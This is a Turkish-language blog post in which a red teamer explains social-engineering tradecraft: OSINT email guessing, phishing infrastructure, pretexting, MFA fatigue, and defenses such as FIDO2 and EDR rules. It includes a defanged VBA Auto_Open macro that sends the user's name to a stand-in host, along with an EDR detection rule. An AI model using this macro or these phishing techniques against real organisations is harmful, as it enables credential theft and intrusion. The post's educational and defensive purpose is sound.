İçeriğe geç
Sedat Özdemir
Yazılar

insanfaktoru

İnsan İşletim Sistemindeki Açıklar: Oltaya Gelmekten Daha Fazlası

Sosyal mühendislik sadece bir e-posta atmak değildir; psikoloji, teknoloji ve dikkatsizliğin harmanlandığı karmaşık bir süreçtir. Bu yazıda, saldırganların gözünden bakarak bu süreci ve nasıl korunacağımızı inceliyoruz.

Sedat Özdemir
· 4 dk okuma

Mesleğe ilk başladığım yıllarda, bir sızma testi kapsamında koca bir holdinge oltalama (phishing) saldırısı simülasyonu yapıyordum. Heyecandan olsa gerek, hazırladığım 'sahte' giriş sayfasının loglarını tutacak olan veritabanı bağlantısını yanlış konfigüre etmişim. CEO dahil neredeyse tüm yönetim kurulu 'oltaya' gelmişti, linklere tıklanmıştı, kullanıcı adları ve şifreler havada uçuşuyordu ama benim veritabanım 'null' dönüyordu. Elimizde tek bir kanıt bile yoktu. O gün anladım ki, sosyal mühendislik sadece 'insanı kandırmak' değil, aynı zamanda çok titiz bir teknik altyapı ve operasyonel disiplin gerektiriyor. Tabii o günden sonra her testten önce üç kez 'listener' kontrolü yapmayı alışkanlık edindim.

Siber güvenlik dünyasında hepimiz firewall'lara, EDR'lara, SIEM sistemlerine milyonlarca dolar döküyoruz. Ama günün sonunda tüm o karmaşık sistemlerin başında, sabah kahvesini henüz içmemiş, uykusuz bir 'insan' duruyor. Sosyal mühendislik, işte o insanın en zayıf (ya da bazen en dikkatsiz) anını hedefleyen bir sanat dalı gibi. Bugün biraz bu işin mutfağına girelim, bir Red Team gözüyle 'testCompany' gibi bir yapıda işler nasıl yürüyor, teknik olarak neler dönüyor beraber bakalım.

1. OSINT: Hedefi Tanımadan Ateş Etme

Bir sosyal mühendislik saldırısı asla 'rastgele' başlamaz. Önce 'OSINT' (Open Source Intelligence) dediğimiz aşama gelir. LinkedIn'de kim ne iş yapıyor, yeni işe girenler kimler, şirket hangi teknolojileri kullanıyor? Bunları toplamak işin %70'idir.

Mesela, bir şirketin yardım masası (help desk) çalışanlarının kullandığı dili anlamak için LinkedIn postlarını veya paylaştıkları teknik hata ekranlarını (evet, bunu yapıyorlar) takip ederiz.

Örnek bir 'crawler' mantığıyla e-posta toplama senaryosu (zararsızlaştırılmış):

# Hedef domain üzerinden potansiyel e-posta listesi oluşturma simülasyonu
import re

def generate_emails(domain, names):
    email_patterns = [
        "{first}.{last}@{domain}",
        "{f}{last}@{domain}",
        "{first}@{domain}"
    ]
    
    discovered_emails = []
    for name in names:
        first, last = name.lower().split(' ')
        for pattern in email_patterns:
            email = pattern.format(first=first, last=last, f=first[0], domain=domain)
            discovered_emails.append(email)
    return discovered_emails

# Örnek kullanım
target_domain = "testCompany.example.com"
employees = ["Ahmet Yilmaz", "Ayse Demir"]
print(generate_emails(target_domain, employees))

Buradan çıkan listeyi, hunter[.]io gibi araçlarla teyit edip, kimin 'yetkili' kimin 'kolay hedef' olduğuna karar veriyoruz.

2. Altyapı Kurulumu: Güven İnşa Etmek

E-postayı gönderdik ama o e-posta 'spam' klasörüne düşerse tüm emekler boşa gider. Red Team operasyonlarında en çok vakit harcadığımız yerlerden biri SMTP sunucularının 'repütasyonu'.

Bir alan adı satın alıyoruz: testCompany-destek[.]example[.]com. Hemen ardından SPF, DKIM ve DMARC kayıtlarını yapıyoruz ki karşı tarafın mail sunucusu bizi 'meşru' sansın.

Örnek bir (defanged) DNS kaydı: v=spf1 include:_spf.example.com ip4:127.0.0.1 ~all

Ardından, GoPhish gibi bir framework kullanarak kampanyamızı kurguluyoruz. Burada kritik olan şey, kopyaladığımız giriş sayfasının (landing page) orijinale olan benzerliği değil, kurbanın kendini 'güvende' hissetmesini sağlayacak o küçük detaylar: SSL sertifikası (Let's Encrypt sağ olsun), kurumsal fontlar ve biraz da 'acil durum' sosu.

3. Pretexting: Hikaye Anlatıcılığı

Teknik tamam, peki ne yazacağız? 'Şifreniz çalındı, hemen tıklayın' artık eskidi. Daha sofistike yaklaşıyoruz.

Senaryo: 'Şirket içi yeni bir yan haklar politikası belirlendi, detaylar için portalı ziyaret edin.'

İnsanların merak duygusu, korkudan daha güçlüdür. E-posta içeriğine yerleştirdiğimiz o kritik 'payload' genellikle bir linktir. Ama bazen bir Excel dosyası da olabilir. Tabii içine gerçek bir malware koymuyoruz; sadece bizim sunucumuza bir 'ping' atacak zararsız bir makro yerleştiriyoruz.

Zararsızlaştırılmış Makro Mantığı (VBA):

' Bu kod sadece test amaçlıdır ve zararsız bir adrese istek atar
Sub Auto_Open()
    Dim request As Object
    Set request = CreateObject("MSXML2.XMLHTTP")
    ' Zararsız bir sunucuya 'dosya açıldı' sinyali gönderir
    request.Open "GET", "hxxp[:]//canary-testCompany[.]example[.]com/opened?user=" & Environ("UserName"), False
    request.Send
End Sub

4. Teknik Analiz: Neden Kanıyoruz?

Bir Red Teamer olarak şunu söyleyebilirim: Sosyal mühendislikte başarılı olmamızın sebebi kullanıcıların 'saf' olması değil, bizim 'doğrulanmış güven' (verified trust) mekanizmalarını manipüle etmemiz.

Örneğin, saldırgan e-postasında testCompany.com yerine testC0mpany.com (sıfır ile) kullanıyor. Gözümüz bunu otomatik olarak düzeltiyor. Teknik tarafta ise, MFA (Çok Faktörlü Doğrulama) bypass etmek için 'MFA Fatigue' (MFA Yorgunluğu) saldırısı yapıyoruz. Kurbana gece yarısı 50 tane onay bildirimi gönderiyoruz, en sonunda 'Yeter be!' deyip onay tuşuna bastığında içeri sızmış oluyoruz.

5. Savunma: Bu İşin Panzehiri Ne?

Sadece 'e-postadaki linklere tıklamayın' demek bir strateji değildir. Bu, emniyet kemeri takmayan birine 'kaza yapma' demek gibidir. Teknik önlemler şart:

  1. FIDO2 / WebAuthn: En güçlü savunma bu. Eğer donanımsal bir güvenlik anahtarı (Yubikey vb.) kullanıyorsanız, sahte bir siteye şifre girseniz bile saldırgan o 'fiziksel' anahtarı taklit edemez. Oltalama saldırılarının kriptoniti budur.
  2. E-posta Güvenlik Katmanları (SEG): Gelen her mailin linkini 'sandbox' ortamında açıp kontrol eden sistemler.
  3. Endpoint İzleme: Bir Excel dosyası neden powershell.exe veya cmd.exe çalıştırmak istiyor? EDR kurallarınız burada devreye girmeli.
# Örnek bir EDR kuralı mantığı (pseudo-code)
IF process.parent == "excel.exe" AND process.name == "powershell.exe":
    ACTION: BLOCK AND ALERT

Sonuç Niyetine

Sosyal mühendislik, dijital ve fiziksel dünyanın kesiştiği o gri bölgede yaşıyor. Biz Red Team olarak bu testleri yaparken amacımız kimseyi 'aptal' durumuna düşürmek değil; sistemin, süreçlerin ve en önemlisi farkındalığın nerede kırıldığını bulmak.

testCompany örneğinde olduğu gibi, bir kurumun en zayıf halkası insan olabilir ama doğru eğitim ve teknik araçlarla donatılmış bir insan, aynı zamanda en güçlü 'sensör' haline de gelebilir. Bir sonraki sefere şüpheli bir e-posta gördüğünüzde, o 'Acil' butonuna basmadan önce iki saniye durup düşünün. Belki de o an bir Red Teamer'ın veritabanını boş bırakmasına sebep oluyorsunuzdur, kim bilir? ;)

İlgili yazılar